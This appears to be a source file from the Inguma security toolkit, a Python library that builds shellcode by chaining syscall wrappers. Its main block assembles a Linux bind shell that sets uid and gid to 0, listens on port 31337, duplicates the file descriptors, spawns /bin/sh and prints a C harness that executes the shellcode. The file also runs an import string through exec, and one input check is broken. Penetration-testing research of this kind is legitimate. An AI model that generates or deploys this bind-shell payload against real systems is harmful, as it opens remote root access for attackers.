1 #!/usr/bin/python
    2 
    3 """
    4 PyShellCode library for Inguma Version 0.0.2
    5 A library to write shellcodes coding in python.
    6 Copyright (c) 2006, 2007 Joxean Koret, joxeankoret [at] yahoo.es
    7 
    8 This program is free software; you can redistribute it and/or
    9 modify it under the terms of the GNU General Public License
   10 as published by the Free Software Foundation; version 2
   11 of the License.
   12 
   13 This program is distributed in the hope that it will be useful,
   14 but WITHOUT ANY WARRANTY; without even the implied warranty of
   15 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
   16 GNU General Public License for more details.
   17 
   18 You should have received a copy of the GNU General Public License
   19 along with this program; if not, write to the Free Software
   20 Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
   21 """
   22 
   23 import binascii
   24 
   25 class PyEgg:
   26 
   27     osType = None
   28     processor = None
   29     buf = ""
   30     internal = None
   31 
   32     def __init__(self, mOsType="linux", mProcessor="x86"):
   33         self.osType = mOsType.lower()
   34         self.processor = mProcessor.lower()
   35 
   36         if not self.osType.isalnum() or not self.processor.isalnum:
   37             print "ERROR: Unacceptable module %s.%s" % (self.osType, self.processor)
   38             raise
   39 
   40         # FIXME: Horrible hack!
   41         module = "import %s.%s as internal" % (self.processor, self.osType)
   42         exec(module)
   43 
   44         self.internal = internal
   45 
   46     def getShellcode(self):
   47         ret = ""
   48         for c in self.buf:
   49             ret += chr(92) + "x" + binascii.b2a_hex(c)
   50 
   51         return ret
   52 
   53     def getEgg(self):
   54         return self.buf
   55 
   56     def setuid(self, mid = 0):
   57         self.buf += self.internal.setuid(mid)
   58 
   59     def setgid(self, mid = 0):
   60         self.buf += self.internal.setgid(mid)
   61 
   62     def socket(self, adomain, atype, aprotocol=0):
   63         self.buf += self.internal.socket(adomain, atype, aprotocol)
   64 
   65     def bind(self, aport):
   66         self.buf += self.internal.bind(aport)
   67 
   68     def listen(self, abacklog=1):
   69         self.buf += self.internal.listen(abacklog)
   70 
   71     def accept(self):
   72         self.buf += self.internal.accept()
   73 
   74     def exit(self, retvalue=0):
   75         self.buf += self.internal.exit(retvalue)
   76 
   77     def close(self, fd=0):
   78         self.buf += self.internal.close(fd)
   79 
   80     def dup2(self, fd=0):
   81         self.buf += self.internal.dup2(fd)
   82 
   83     def execSh(self):
   84         self.buf += self.internal.execSh()
   85 
   86 if __name__ == "__main__":
   87 
   88     import socket
   89 
   90     #a = PyEgg("openbsd")
   91     a = PyEgg("linux")
   92 
   93     # Change to root
   94     a.setuid(0)
   95     a.setgid(0)
   96 
   97     # Listen in all available addresses at port 31337
   98     a.socket(socket.AF_INET, socket.SOCK_STREAM)
   99     a.bind(31337)
  100     a.listen()
  101 
  102     # Got a connection, duplicate fd descriptors
  103     a.accept()
  104     a.dup2(2)
  105     a.dup2(1)
  106     a.dup2(0)
  107 
  108     # Run /bin/sh
  109     a.execSh()
  110     sc = a.getShellcode()
  111 
  112     print "#include <stdio.h>"
  113     print
  114     print 'char *sc="%s";' % sc
  115     print
  116     print "int main(void) {"
  117     print "\t((void(*)())sc)();"
  118     print "}"
  119     print
  120 
  121